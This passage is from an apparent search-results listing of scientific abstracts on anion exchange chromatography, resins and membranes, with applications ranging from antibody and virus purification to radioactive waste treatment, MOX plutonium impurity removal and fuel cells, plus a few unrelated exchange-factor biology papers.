and HF. On the basis of the obtained distribution coefficients, a new technique for the two-stage chemical separation of Mo and W, along with the group separation of Ti-Zr-Hf, was developed as follows: 0.4 M HCl-0.5 M HF (major elements), 9 M HCl-0.05 M HF (Ti-Zr-Hf), 9 M HCl-1 M HF (W), and 6 M HNO3-3 M HF (Mo). After the chemical procedure, Nb remaining in the W fraction was separated using 9 M HCl-3 M HF. On the other hand, Nb and Zn remaining in the Mo fraction were removed using 2 M HF and 6 M HCl-0.1 M HF. The performance of this technique was evaluated by separating these elements from two terrestrial and two extraterrestrial samples. The recovery yields for Mo, W, Zr, and Hf were nearly 100% for all of the examined samples. The total contents of the Zr, Hf, W, and Mo in the blanks used for the chemical separation procedure were 582, 9, 29, and 396 pg, respectively. Therefore, our new separation technique can be widely used in various fields of geochemistry, cosmochemistry, and environmental sciences and particularly for multi-isotope analysis of these elements from a single sample with significant internal isotope heterogeneities. 16. Strategies for developing design spaces for viral clearance by anion exchange chromatography during monoclonal antibody production. PubMed Strauss, Daniel M; Cano, Tony; Cai, Nick; Delucchi, Heather; Plancarte, Magdalena; Coleman, Daniel; Blank, Gregory S; Chen, Qi; Yang, Bin 2010-01-01 The quality-by-design (QbD) regulatory initiative promotes the development of process design spaces describing the multidimensional effects and interactions of process variables on critical quality attributes of therapeutic products. However, because of the complex nature of production processes, strategies must be devised to provide for design space development with reasonable allocation of resources while maintaining highly dependable results. Here, we discuss strategies for the determination of design spaces for viral clearance by anion exchange chromatography (AEX) during purification of monoclonal antibodies. We developed a risk assessment for AEX using a formalized method and applying previous knowledge of the effects of certain variables and the mechanism of action for virus removal by this process. We then use design-of-experiments (DOE) concepts to perform a highly fractionated factorial experiment and show that varying many process parameters simultaneously over wide ranges does not affect the ability of the AEX process to remove endogenous retrovirus-like particles from CHO-cell derived feedstocks. Finally, we performed a full factorial design and observed that a high degree of viral clearance was obtained for three different model viruses when the most significant process parameters were varied over ranges relevant to typical manufacturing processes. These experiments indicate the robust nature of viral clearance by the AEX process as well as the design space where removal of viral impurities and contaminants can be assured. In addition, the concepts and methodology presented here provides a general approach for the development of design spaces to assure that quality of biotherapeutic products is maintained. 17. Structural and performance characteristics of representative anion exchange resins used for weak partitioning chromatography. PubMed Zhang, Shaojie; Iskra, Tim; Daniels, William; Salm, Jeffrey; Gallo, Christopher; Godavarti, Ranga; Carta, Giorgio 2016-12-20 Weak partitioning chromatography (WPC) has been proposed for the purification of monoclonal antibodies using an anion exchange (AEX) resin to simultaneously remove both acidic and basic protein impurities. Despite potential advantages, the relationship between resin structure and WPC performance has not been evaluated systematically. In this work, we determine the structure of representative AEX resins (Fractogel® EMD TMAE HiCap, Q Sepharose FF, and POROS 50 HQ) using transmission electron microscopy and inverse size exclusion chromatography and characterize protein interactions while operating these resins under WPC conditions using two mAb monomers, a mAb dimer, mAb multimers, and BSA as model products and impurities. We determine the isocratic elution behavior of the weakly bound monomer and dimer species and the adsorptive and mass transfer properties of the strongly bound multimers and BSA by confocal laser scanning microscopy. The results show that for each resin, using the product Kp value as guidance, salt, and pH conditions can be found where mAb multimers and BSA are simultaneously removed. Isocratic elution and adsorption mechanisms are, however, different for each resin and for the different components. Under WPC conditions, the Fractogel resin exhibited very slow diffusion of both mAb monomer and dimer species but fast adsorption for both mAb multimers and BSA with high capacity for BSA, while the Sepharose resin, because of its small pore size, was unable to effectively remove mAb multimers. The POROS resin was instead able to bind both multimers and BSA effectively, while exhibiting a greater resolution of mAb monomer and dimer species. © 2016 American Institute of Chemical Engineers Biotechnol. Prog., 2017. 18. Polyethyleneimine precipitation versus anion exchange chromatography in fractionating recombinant beta-glucuronidase from transgenic tobacco extract. PubMed Holler, Chris; Vaughan, David; Zhang, Chenming 2007-02-16 Tobacco has been studied as a possible host for the production of recombinant proteins. In this report, recombinant beta-glucuronidase (rGUS) was used as a model protein to study the feasibility of using polyethyleneimine (PEI) precipitation to fractionate acidic recombinant proteins from transgenic tobacco. Results showed that rGUS was preferentially precipitated when the PEI dosage was beyond 200mg PEI/g total protein. At 700-800 mg PEI/g total protein, nearly 100% rGUS was precipitated with less than 40% native tobacco proteins co-precipitated. Approximately 85-90% of the rGUS activity could be recovered from the precipitation pellet for an enrichment ratio of 2.7-3.4. As a comparison, anion exchange chromatography (AEX) yielded similar results to PEI precipitation with 66-90% rGUS activity recovered and an enrichment ratio of 1.8-3.1. The rGUS was further purified by an additional hydrophobic interaction chromatographic (HIC) step after precipitation or AEX. Similar results in terms of rGUS activity recovered and enrichment were obtained. The major interfering protein at the end of all purification steps is most likely the Fraction 1 protein ribulose 1,5-bisphosphate carboxylase-oxygenase (Rubisco). The presence of this protein is likely the cause for the varying and somewhat low enrichment ratios, but it may be later removed via a size-exclusion chromatography step. PEI precipitation offers the advantage of allowing significant sample concentration prior to subsequent purification techniques such as chromatography and is much less expensive than chromatographic methods as well. Through direct comparison, this study shows that PEI may be used as an initial fractionation step in replacement of AEX to facilitate the purification of acidic recombinant proteins from transgenic tobacco. 19. HB-LINE ANION EXCHANGE PURIFICATION OF AFS-2 PLUTONIUM FOR MOX SciTech Connect Kyser, E. A.; King, W. D. 2012-07-31 Non-radioactive cerium (Ce) and radioactive plutonium (Pu) anion exchange column experiments using scaled HB-Line designs were performed to investigate the feasibility of using either gadolinium nitrate (Gd) or boric acid (B as H{sub 3}BO{sub 3}) as a neutron poison in the H-Canyon dissolution process. Expected typical concentrations of probable impurities were tested and the removal of these impurities by a decontamination wash was measured. Impurity concentrations are compared to two specifications - designated as Column A or Column B (most restrictive) - proposed for plutonium oxide (PuO{sub 2}) product shipped to the Mixed Oxide (MOX) Fuel Fabrication Facility (MFFF). Use of Gd as a neutron poison requires a larger volume of wash for the proposed Column A specification. Since boron (B) has a higher proposed specification and is more easily removed by washing, it appears to be the better candidate for use in the H-Canyon dissolution process. Some difficulty was observed in achieving the Column A specification due to the limited effectiveness that the wash step has in removing the residual B after ~4 BV's wash. However a combination of the experimental 10 BV's wash results and a calculated DF from the oxalate precipitation process yields an overall DF sufficient to meet the Column A specification. For those impurities (other than B) not removed by 10 BV's of wash, the impurity is either not expected to be present in the feedstock or process, or recommendations have been provided for improvement in the analytical detection/method or validation of calculated results. In summary, boron is recommended as the appropriate neutron poison for H-Canyon dissolution and impurities are expected to meet the Column A specification limits for oxide production in HB-Line. 20. HB-LINE ANION EXCHANGE PURIFICATION OF AFS-2 PLUTONIUM FOR MOX SciTech Connect Kyser, E.; King, W. 2012-04-25 Non-radioactive cerium (Ce) and radioactive plutonium (Pu) anion exchange column experiments using scaled HB-Line designs were performed to investigate the feasibility of using either gadolinium nitrate (Gd) or boric acid (B as H{sub 3}BO{sub 3}) as a neutron poison in the H-Canyon dissolution process. Expected typical concentrations of probable impurities were tested and the removal of these impurities by a decontamination wash was measured. Impurity concentrations are compared to two specifications - designated as Column A or Column B (most restrictive) - proposed for plutonium oxide (PuO{sub 2}) product shipped to the Mixed Oxide (MOX) Fuel Fabrication Facility (MFFF). Use of Gd as a neutron poison requires a larger volume of wash for the proposed Column A specification. Since boron (B) has a higher proposed specification and is more easily removed by washing, it appears to be the better candidate for use in the H-Canyon dissolution process. Some difficulty was observed in achieving the Column A specification due to the limited effectiveness that the wash step has in removing the residual B after {approx}4 BV's wash. However a combination of the experimental 10 BV's wash results and a calculated DF from the oxalate precipitation process yields an overall DF sufficient to meet the Column A specification. For those impurities (other than B) not removed by 10 BV's of wash, the impurity is either not expected to be present in the feedstock or process, or recommendations have been provided for improvement in the analytical detection/method or validation of calculated results. In summary, boron is recommended as the appropriate neutron poison for H-Canyon dissolution and impurities are expected to meet the Column A specification limits for oxide production in HB-Line. 1. Adsorption of polyethylene-glycolated bovine serum albumin on macroporous and polymer-grafted anion exchangers. PubMed Zhu, Mimi; Carta, Giorgio 2014-01-24 The chromatographic and adsorptive properties of BSA and BSA conjugated with 10 and 30kDa PEG polymers are determined for a macroporous anion exchanger (UNOsphere™ Diol Q) and for a polymer-grafted material having the same backbone matrix (Nuvia Q™). Chromatographic retention, adsorption capacity, and adsorption kinetics are enhanced in the polymer-grafted resin for both BSA and 10kDa PEG-BSA as a result of interactions with the grafted polymers. However, the difference between the two resins diminishes for 30kDa PEG-BSA indicating that size exclusion effects strongly affect binding in the polymer-grafted material for this larger conjugate. Images of intraparticle concentration profiles obtained by confocal scanning laser microscopy show that the transport mechanisms of both BSA and PEGylated BSA are very different in the two resins. The protein binding kinetics are dominated by ordinary pore diffusion and are essentially independent of the direction of transport for UNOsphere Diol Q as a result of its large pore size. Thus, for this material, displacement of PEGylated BSA by BSA is clearly evident at the intraparticle scale. On the other hand, the protein binding kinetics in Nuvia Q are consistent with a solid diffusion mechanism driven by the adsorbed protein concentration. For this material, protein transport is very fast for one component or two-component co-adsorption of BSA and PEGylated BSA but slows down dramatically for sequential adsorption of these species as a result of heightened diffusional hindrance when the two components counterdiffuse within the resin. 2. Concentration and purification of enterovirus 71 using a weak anion-exchange monolithic column PubMed Central 2014-01-01 Background Enterovirus 71 (EV-71) is a neurotropic virus causing Hand, Foot and Mouth Disease (HFMD) in infants and children under the age of five. It is a major concern for public health issues across Asia-Pacific region. The most effective way to control the disease caused by EV-71 is by vaccination thus a novel vaccine is urgently needed. Inactivated EV-71 induces a strong, virus-neutralizing antibody response in animal models, protecting them against a lethal EV-71 challenge and it has been shown to elicit cross-neutralizing antibodies in human trials. Hence, the large-scale production of purified EV-71 is required for vaccine development, diagnosis and clinical trials. Methods CIM® Monolith columns are single-piece columns made up of poly(glycidyl methacrylate co-ethylene dimethacrylate) as support matrix. They are designed as porous channels rather than beads with different chemistries for different requirements. As monolithic columns have a high binding capacity, flow rate and resolution, a CIM® DEAE-8f tube monolithic column was selected for purification in this study. The EV-71 infected Rhabdomyosarcoma (RD) cell supernatant was concentrated using 8% PEG 8000 in the presence of 400 mM sodium chloride. The concentrated virus was purified by weak anion exchange column using 50 mM HEPES + 1 M sodium chloride as elution buffer. Results Highly pure viral particles were obtained at a concentration of 350 mM sodium chloride as confirmed by SDS-PAGE and electron microscopy. Presence of viral proteins VP1, VP2 and VP3 was validated by western blotting. The overall process achieved a recovery of 55%. Conclusions EV-71 viral particles of up to 95% purity can be recovered by a single step ion-exchange chromatography using CIM-DEAE monolithic columns and 1 M sodium chloride as elution buffer. Moreover, this method is scalable to purify several litres of virus-containing supernatant, using industrial monolithic columns with a capacity of up to 8 L such as 3. Investigation of Anion-Exchange and Immunoaffinity Particle-Loaded Membranes for the Isolation of Charged Organic Analytes from Water USGS Publications Warehouse Dombrowski, T.R.; Wilson, G.S.; Thurman, E.M. 1998-01-01 Anion-exchange and immunoaffinity particle loaded membranes (PLMs) were investigated as a mechanism for the isolation of charged organic analytes from water. Kinetic properties determined theoretically included dynamic capacity, pressure drop (??P), residence and diffusion times (Tr, Td), and total membrane porosity (???T). These properties were confirmed through experimental evaluation, and the PLM method showed significant improvement over conventional solid-phase extraction (SPE) and ion-exchange formats. Recoveries of more than 90% were observed for a variety of test compounds at flow rates up to 70 mL/min (equipment-limited maximum flow rate). A fast-flow immunoaffinity column was developed using antibodies (Abs) attached to the PLMs. Reproducible recoveries (88% ?? 4%) were observed at flow rates up to 70 mL/min for the antibody (Ab)-loaded PLMs. Findings indicate increased selectivity over anion-exchange PLMs and conventional SPE or ion-exchange methods and rapid Ab-antigen binding rates given the excellent mass-transfer characteristics of the PLMs. 4. Polystyrene-divinylbenzene stationary phases agglomerated with quaternized multi-walled carbon nanotubes for anion exchange chromatography. PubMed Huang, Zhongping; Wu, Hongwei; Wang, Fengli; Yan, Wenwu; Guo, Weiqiang; Zhu, Yan 2013-06-14 This work explores the potential of multi-walled carbon nanotubes as an agglomerated material for ion chromatography stationary phases for the separation of inorganic anions. Polyelectrolytes with quaternary ammonium groups were introduced onto the carbon nanotube surface, based on condensation polymerization of 1,4-butanediol diglycidyl ether (BDDE) and methylamine (MA). Quaternized multi-walled carbon nanotubes (Q-MWCNTs) were electrostatically adsorbed onto the surface of sulfonated polystyrene-divinylbenzene (PS-DVB) beads to generate the anion exchanger, which were confirmed by Fourier transform infrared spectroscopy (FTIR) and scanning electron microscopy (SEM). A 100mm×4.0mm i.d. column was packed with Q-MWCNTs agglomerated PS-DVB particles, with a capacity of 56μequiv./column. Separation of inorganic anions, such as F(-), Cl(-), NO2(-), Br(-), NO3(-), SO4(2-) and PO4(3-) were performed. The stationary phase was rigid, chemically stable and showed good ion-exchange characteristics. 5. Evidence for the presence of three different anion exchangers in a red cell. Functional expression studies in Xenopus oocytes. PubMed Guizouarn, H; Musch, M W; Goldstein, L 2003-05-15 Anion exchangers (AE) are transmembrane proteins catalyzing electroneutral exchange of Cl(-) for HCO3-. To date, three different genes coding for this protein, AE1, AE2 and AE3, have been identified in many species. AE1 is considered to be the unique anion exchanger expressed in erythrocytes. In this paper we propose the presence of three different AEs in skate erythrocytes, a skAE1, a skAE2 and a skAE3, cloned by RT-PCR (reverse-transcriptase polymerase chain reaction). These three skAE have a similar predicted secondary structure. All three skAE are divided in two main domains: a hydrophilic cytoplasmic N-terminal domain and a C-terminal domain crossing the lipid bilayer at least 12 times. The greatest similarity is found in the membrane-spanning domain of the three skAE. The size as well as the amino-acid sequence of the cytoplasmic domain differ significantly among three anion exchangers. Functional expression studies in Xenopus oocytes led to the conclusion that skAE-1 and -2 share some functional features (Cl-dependence and DIDS sensitivity). The skAE3 could not be expressed in Xenopus oocytes. These data are in agreement with expression data obtained with AEs of different species utilizing the oocyte system. It is highly probable that these three new AE sequences come from three different genes, thus suggesting for the first time the presence of the three AE genes in Chondrichthyes. 6. The role of polymer nanolayer architecture on the separation performance of anion-exchange membrane adsorbers: I. Protein separations. PubMed Bhut, Bharat V; Weaver, Justin; Carter, Andrew R; Wickramasinghe, S Ranil; Husson, Scott M 2011-11-01 This contribution describes the preparation of strong anion-exchange membranes with higher protein binding capacities than the best commercial resins. Quaternary amine (Q-type) anion-exchange membranes were prepared by grafting polyelectrolyte nanolayers from the surfaces of macroporous membrane supports. A focus of this study was to better understand the role of polymer nanolayer architecture on protein binding. Membranes were prepared with different polymer chain graft densities using a newly developed surface-initiated polymerization protocol designed to provide uniform and variable chain spacing. Bovine serum albumin and immunoglobulin G were used to measure binding capacities of proteins with different size. Dynamic binding capacities of IgG were measured to evaluate the impact of polymer chain density on the accessibility of large size protein to binding sites within the polyelectrolyte nanolayer under flow conditions. The dynamic binding capacity of IgG increased nearly linearly with increasing polymer chain density, which suggests that the spacing between polymer chains is sufficient for IgG to access binding sites all along the grafted polymer chains. Furthermore, the high dynamic binding capacity of IgG (>130 mg/mL) was independent of linear flow velocity, which suggests that the mass transfer of IgG molecules to the binding sites occurs primarily via convection. Overall, this research provides clear evidence that the dynamic binding capacities of large biologics can be higher for well-designed macroporous membrane adsorbers than commercial membrane or resin ion-exchange products. Specifically, using controlled polymerization leads to anion-exchange membrane adsorbers with high binding capacities that are independent of flow rate, enabling high throughput. Results of this work should help to accelerate the broader implementation of membrane adsorbers in bioprocess purification steps. 7. The comparative effects of gamma radiation and in situ alpha particles on five strong-base anion exchange resins SciTech Connect Marsh, S.F. 1991-01-01 The effects of external gamma radiation and in situ alpha particles were measured on a recently available, macroporous, strong-base polyvinylpyridine resin and on four strong-base polystyrene anion exchange resins. Each resin was irradiated in 7 M nitric acid to 1--10 megaGray of gamma radiation from external {sup 60}Co, or to 5--14 megaGray of alpha particles from sorbed {sup 238}Pu. Each irradiated resin was measured for changes in dry weight, wet volume, weak-base and strong-base chloride exchange capacities, and exchange capacities for Pu(4) from nitric acid. Alpha-induced resin damage was significantly less than that caused by an equivalent dose of gamma radiation. The polyvinylpyridine resin offers the greatest resistance to damage from gamma radiation and from alpha particles. 5 refs., 1 figs. 5 tabs. 8. Understanding ion and solvent transport in anion exchange membranes under humidified conditions Sarode, Himanshu Anion exchange membranes (AEM) have been studied for more than a decade for potential applications in low temperature fuel cells and other electrochemical devices. They offer the advantage of faster reaction kinetics under alkaline conditions and ability to perform without costly platinum catalyst. Inherently slow diffusion of hydroxide ions compared to protons is a primary reason for synthesizing and studying the ion transport properties in AEMs. The aim of this thesis is to understand ion transport in novel AEMs using Pulse Gradient stimulated Spin Echo Nuclear Magnetic Resonance technique (PGSE NMR), water uptake, ionic conductivity, Small Angle X-ray Scattering (SAXS) etc. All experiments were performed under humidified conditions (80--95% relative humidity) and fuel cell operating temperatures of 30--90°C. In this work, the NMR tube design was modified for humidifying the entire NMR tube evenly from our previous design. We have developed a new protocol for replacing caustic hydroxide with harmless fluoride or bicarbonate ions for 19F and 13 C NMR diffusion experiments. After performing these NMR experiments, we have obtained in-depth understanding of the morphology linked ion transport in AEMs. We have obtained the highest fluoride self-diffusion coefficient of > 1 x 10-5 cm2/sec ( 55°C) for ETFE-g-PVBTMA membrane which is a result of low tortuosity of 1 obtained for the membrane. This faster fluoride transport combined with low tortuosity of the membrane resulted in > 100mS/cm hydroxide conductivity for the membrane. Polycyclooctene (PCOE) based triblock copolymers are also studied for in-depth understanding of molecular weight, IEC, mechanical and transport properties. Effect of melting temperature of PCOE has favorable effect on increasing ion conductivity and lowering activation energy. Mechanical properties of these types of membranes were studied showing detrimental effect of water plasticization which results in unsuitable mechanical properties 9. Enolate Stabilization by Anion-π Interactions: Deuterium Exchange in Malonate Dilactones on π-Acidic Surfaces. PubMed Miros, François N; Zhao, Yingjie; Sargsyan, Gevorg; Pupier, Marion; Besnard, Céline; Beuchat, César; Mareda, Jiri; Sakai, Naomi; Matile, Stefan 2016-02-18 Of central importance in chemistry and biology, enolate chemistry is an attractive topic to elaborate on possible contributions of anion-π interactions to catalysis. To demonstrate the existence of such contributions, experimental evidence for the stabilization of not only anions but also anionic intermediates and transition states on π-acidic aromatic surfaces is decisive. To tackle this challenge for enolate chemistry with maximal precision and minimal uncertainty, malonate dilactones are covalently positioned on the π-acidic surface of naphthalenediimides (NDIs). Their presence is directly visible in the upfield shifts of the α-protons in the (1) H NMR spectra. The reactivity of these protons on π-acidic surfaces is measured by hydrogen-deuterium (H-D) exchange for 11 different examples, excluding controls. The velocity of H-D exchange increases with π acidity (NDI core substituents: SO2 R>SOR>H>OR>OR/NR2 >SR>NR2 ). The H-D exchange kinetics vary with the structure of the enolate (malonates>methylmalonates, dilactones>dithiolactones). Moreover, they depend on the distance to the π surface (bridge length: 11-13 atoms). Most importantly, H-D exchange depends strongly on the chirality of the π surface (chiral sulfoxides as core substituents; the crystal structure of the enantiopure (R,R,P)-macrocycle is reported). For maximal π acidity, transition-state stabilizations up to -18.8 kJ mol(-1) are obtained for H-D exchange. The Brønsted acidity of the enols increases strongly with π acidity of the aromatic surface, the lowest measured pKa =10.9 calculates to a ΔpKa =-5.5. Corresponding to the deprotonation of arginine residues in neutral water, considered as "impossible" in biology, the found enolate-π interactions are very important. The strong dependence of enolate stabilization on the unprecedented seven-component π-acidity gradient over almost 1 eV demonstrates quantitatively that such important anion-π activities can be expected only from 10. Removal of radioactive caesium from low level radioactive waste (LLW) streams using cobalt ferrocyanide impregnated organic anion exchanger. PubMed Valsala, T P; Roy, S C; J G Shah; Gabriel, J; Raj, Kanwar; Venugopal, V 2009-07-30 The volumes of low level waste (LLW) generated during the operation of nuclear reactor are very high and require a concentration step before suitable matrix fixation. The volume reduction (concentration) is achieved either by co-precipitating technique or by the use of highly selective sorbents and ion exchange materials. The present study details the preparation of cobalt ferrocyanide impregnated into anion exchange resin and its evaluation with respect to removal of Cs in LLW streams both in column mode and batch mode operations. The Kd values of the prepared exchanger materials were found to be very good in actual reactor LLW solutions also. It was observed that the exchanger performed very well in the pH range of 3-9. A batch size of 6 g l(-1) of the exchanger was enough to give satisfactory decontamination for Cs in actual reactor LLW streams. The lab scale and pilot plant scale performance of the exchanger material in both batch mode and column mode operations was very good. 11. Plug-and-Play Genetic Access to Drosophila Cell Types Using Exchangeable Exon Cassettes PubMed Central Diao, Fengqiu; Ironfield, Holly; Luan, Haojiang; Diao, Feici; Shropshire, William C.; Ewer, John; Marr, Elizabeth; Potter, Christopher J.; Landgraf, Matthias; White, Benjamin H. 2015-01-01 Summary Genetically encoded effectors are important tools for probing cellular function in living animals, but improved methods for directing their expression to specific cell types are required. Here we introduce a simple, versatile method for achieving cell type-specific expression of transgenes that leverages the untapped potential of “coding introns” (i.e. introns between coding exons). Our method couples the expression of a transgene to that of a native gene expressed in the cells of interest using intronically inserted “plug-and-play” cassettes (called “Trojan exons”) that carry a splice acceptor site followed by the coding sequences of T2A peptide and an effector transgene. We demonstrate the efficacy of this approach in Drosophila using lines containing suitable MiMIC transposons and a palette of Trojan exons capable of expressing a range of commonly used transcription factors. We also introduce an exchangeable, MiMIC-like Trojan exon construct that can be targeted to coding introns using the Crispr/Cas system. PMID:25732830 12. The epithelial-mesenchymal transition of the Drosophila mesoderm requires the Rho GTP exchange factor Pebble. PubMed Smallhorn, Masha; Murray, Michael J; Saint, Robert 2004-06-01 Drosophila pebble (pbl) encodes a Rho-family GTP exchange factor (GEF) required for cytokinesis. The accumulation of high levels of PBL protein during interphase and the developmentally regulated expression of pbl in mesodermal tissues suggested that the primary cytokinetic mutant phenotype might be masking other roles. Using various muscle differentiation markers, we found that Even skipped (EVE) expression in the dorsal mesoderm is greatly reduced in pbl mutant embryos. EVE expression in the dorsalmost mesodermal cells is induced in response to DPP secreted by the dorsal epidermal cells. Further analysis revealed that this phenotype is likely to be a consequence of an earlier defect. pbl mutant mesodermal cells fail to undergo the normal epithelial-mesenchymal transition (EMT) and dorsal migration that follows ventral furrow formation. This phenotype is not a secondary consequence of failed cytokinesis, as it is rescued by a mutant form of pbl that does not rescue the cytokinetic defect. In wild-type embryos, newly invaginated cells at the lateral edges of the mesoderm extend numerous protrusions. In pbl mutant embryos, however, cells appear more tightly adhered to their neighbours and extend very few protrusions. Consistent with the dependence of the mesoderm EMT and cytokinesis on actin organisation, the GTP exchange function of the PBL RhoGEF is required for both processes. By contrast, the N-terminal BRCT domains of PBL are required only for the cytokinetic function of PBL. These studies reveal that a novel PBL-mediated intracellular signalling pathway operates in mesodermal cells during the transition from an epithelial to migratory mesenchymal morphology during gastrulation. 13. Surface- vs Diffusion-Limited Mechanisms of Anion Exchange in CsPbBr3 Nanocrystal Cubes Revealed through Kinetic Studies. PubMed Koscher, Brent A; Bronstein, Noah D; Olshansky, Jacob H; Bekenstein, Yehonadav; Alivisatos, A Paul 2016-09-21 Ion-exchange transformations allow access to nanocrystalline materials with compositions that are inaccessible via direct synthetic routes. However, additional mechanistic insight into the processes that govern these reactions is needed. We present evidence for the presence of two distinct mechanisms of exchange during anion exchange in CsPbX3 nanocrystals (NCs), ranging in size from 6.5 to 11.5 nm, for transformations from CsPbBr3 to CsPbCl3 or CsPbI3. These NCs exhibit bright luminescence throughout the exchange, allowing their optical properties to be observed in real time, in situ. The iodine exchange presents surface-reaction-limited exchanges allowing all anionic sites within the NC to appear chemically identical, whereas the chlorine exchange presents diffusion-limited exchanges proceeding through a more complicated exchange mechanism. Our results represent the first steps toward developing a microkinetic description of the anion exchange, with implications not only for understanding the lead halide perovskites but also for nanoscale ion exchange in general. 14. Production of 61Cu using natural cobalt target and its separation using ascorbic acid and common anion exchange resin. PubMed Das, Sujata Saha; Chattopadhyay, Sankha; Barua, Luna; Das, Malay Kanti 2012-02-01 (61)Cu was produced by (nat)Co(α, xn)(61)Cu reaction. (61)Cu production yield was 89.5 MBq/μAh (2.42 mCi/μAh) at the end of irradiation (EOI). A simple radiochemical separation method using anion exchange resin and ascorbic acid has been employed to separate the product radionuclide from inactive target material and co-produced non-isotopic impurities. The radiochemical separation yield was about 90%. Radiochemical purity of (61)Cu was >99% 1 h after EOI. Final product was suitable for making complex with N(2)S(2) type of ligands. 15. Anion-exchange high-performance liquid chromatography with conductivity detection for the analysis of phytic acid in food. PubMed Talamond, P; Doulbeau, S; Rochette, I; Guyot, J P 2000-02-25 A sensitive method for the accurate determination of phytic acid in food samples is described. The proposed procedure involves the anion-exchange liquid chromatography with conductivity detection. Initially, two methods of determination of phytic acid were compared: absorptiometry and high-performance ion chromatography (HPIC) with chemically suppressed conductivity detector. Unlike most conventional methods involving precipitation by FeCl3, the simpler and more reliable HPIC assay avoids the numerous assumptions inherent in the iron precipitation and the accuracy is independent of the phytate content. The protocol was also applied to a survey of phytic acid concentration in some cereal, oil and legume seeds. 16. Improvement of the chromatographic separation performance of an imidazolium ionic liquid functionalized silica column by in situ anion-exchange with dodecyl sulfonate and dodecylbenzene sulfonate anions. PubMed Sun, Min; Feng, Juanjuan; Chen, Wenjie; Li, Leilei; Duan, Huimin; Luo, Chuannan 2014-06-01 The anionic part of ionic liquids can provide additional interactions during chromatographic separations. In this work, the chromatographic separation performance of a silica column functionalized with 1-propyl-3-methylimidazolium chloride ionic liquid was improved by in situ anion-exchange from chloride anions to dodecyl sulfonate anions and dodecylbenzene sulfonate anions. The separation performances of these ionic liquid functionalized phases were investigated and compared with each other using polycyclic aromatic hydrocarbons, phthalates, parabens, and phenols as model compounds. Results indicated that the new columns presented a better chromatographic separation than the original one. This was ascribed retention mechanism from organic anions. The introduction of dodecyl sulfonate anions increased the hydrophobicity of stationary phase. Furthermore, the phenyl groups of dodecylbenzene sulfonate anions could provide an enhanced selectivity to aromatic compounds such as polycyclic aromatic hydrocarbons by π-π interactions. Analysis repeatability of the new columns was satisfactory (RSD of retention time, 0.10-0.40%; RSD of peak area, 0.66-0.84%). 17. Application of cellulose anion-exchangers to separation of palladium from platinum or iridium with glycine as complexing agent and atomic-absorption spectrometry for detection. PubMed Brajter, K; Słonawska, K 1983-07-01 The use of glycine as complexing agent for chromatographie separation of palladium from platinum, or palladium from iridium, on cellulose anion-exchangers has been investigated and found possible over a wide range of concentration ratios. The method can be used for analysis of Pd-Ir alloys. The nature of the complexes taking part in the ion-exchange has been identified. 18. Preparation of a weak anion exchange/hydrophobic interaction dual-function mixed-mode chromatography stationary phase for protein separation using click chemistry. PubMed Zhao, Kailou; Yang, Fan; Xia, Hongjun; Wang, Fei; Song, Qingguo; Bai, Quan 2015-03-01 In this study, 3-diethylamino-1-propyne was covalently bonded to the azide-silica by a click reaction to obtain a novel dual-function mixed-mode chromatography stationary phase for protein separation with a ligand containing tertiary amine and two ethyl groups capable of electrostatic and hydrophobic interaction functionalities, which can display hydrophobic interaction chromatography character in a high-salt-concentration mobile phase and weak anion exchange character in a low-salt-concentration mobile phase employed for protein separation. As a result, it can be employed to separate proteins with weak anion exchange and hydrophobic interaction modes, respectively. The resolution and selectivity of the stationary phase were evaluated in both hydrophobic interaction and ion exchange modes with standard proteins, respectively, which can be comparable to that of conventional weak anion exchange and hydrophobic interaction chromatography columns. Therefore, the synthesized weak anion exchange/hydrophobic interaction dual-function mixed-mode chromatography column can be used to replace two corresponding conventional weak anion exchange and hydrophobic interaction chromatography columns to separate proteins. Based on this mixed-mode chromatography stationary phase, a new off-line two-dimensional liquid chromatography technology using only a single dual-function mixed-mode chromatography column was developed. Nine kinds of tested proteins can be separated completely using the developed method within 2.0 h. 19. "Best match" model and effect of Na+/H+ exchange on anion attachment to peptides and stability of formed adducts in negative ion electrospray mass spectrometry. PubMed Liu, Xiaohua; Cole, Richard B 2014-02-01 The "Best Match" model has been extended to account for the role that Na(+)/H(+) exchange plays on anion attachment in negative ion electrospray. Without any Na(+)/H(+) exchange on (Glu) fibrinopeptide B, the higher basicity anions F(-) and CH3COO(-) can hardly form observable adducts; however, after multiple Na(+)/H(+) exchanges, adduct formation is enabled. Moreover, dissociation pathways of CF3COO(-) adducts with singly deprotonated peptides that have undergone 0 to 3 Na(+)/H(+) exchanges exhibit a shift in CID product ions from losing predominately CF3COOH (case of 0 Na(+)/H(+) exchanges) to losing predominately CF3COO(-) (case of 3 Na(+)/H(+) exchanges). These phenomena can be rationalized by considering that Na(+) cations exchange at, and serve to "block", the most acidic sites, thereby forcing implicated anions to attach to lower acidity protons. In addition to forming ion pairs with carboxylate groups, Na(+) also participates in formation of tri-atomic ions of the form ANaA(-) during adduct dissociation. The fact that low gas-phase basicity (GB) anions preferentially form ANaA(-) species, even though high GB anions form more stable tri-atomic species, indicates that the monatomic ions were not in close contact in the initial adduct. The propensity for formation of stable anionic adducts is dependent on the degree of matching between anion GBs and GBapp of deprotonated sites on the peptide. The GBapp is raised dramatically as the charge state of the peptide increases via a through-space effect. The presence of Na(+) on carboxylate sites substantially decreases the GBapp by neutralizing these sites, while slightly increasing the intrinsic GBs by an inductive effect. 20. Juvenile Hormone Regulation of Drosophila Epac - A Guanine Nucleotide Exchange Factor for Rap1 Small GTPase Technology Transfer Automated Retrieval System (TEKTRAN) Previously, we utilized a microchip array encompassing probes for 14,010 genes of Drosophila melanogaster to analyze the effect of (10R) juvenile hormone III (JH) on genome-wide gene expression in Drosophila S2 cells. Treatment with JH yielded a collection of 32 gene transcripts that demonstrated a ... 1. Novel simple process for tocopherols selective recovery from vegetable oils by adsorption and desorption with an anion-exchange resin. PubMed Hiromori, Kousuke; Shibasaki-Kitakawa, Naomi; Nakashima, Kazunori; Yonemoto, Toshikuni 2016-03-01 A novel and simple low-temperature process was used to recover tocopherols from a deodorizer distillate, which is a by-product of edible oil refining. The process consists of three operations: the esterification of free fatty acids with a cation-exchange resin catalyst, the adsorption of tocopherols onto an anion-exchange resin, and tocopherol desorption from the resin. No degradation of tocopherols occurred during these processes. In the tocopherol-rich fraction, no impurities such as sterols or glycerides were present. These impurities are commonly found in the product of the conventional process. This novel process improves the overall recovery ratio and the mass fraction of the product (75.9% and 51.0wt%) compared with those in the conventional process (50% and 35wt%). 2. Full cell study of Diels Alder poly(phenylene) anion and cation exchange membranes in vanadium redox flow batteries SciTech Connect Pezeshki, Alan M.; Fujimoto, Cy; Sun, Che -Nan; Mench, Matthew M.; Zawodzinski, Thomas A.; Tang, 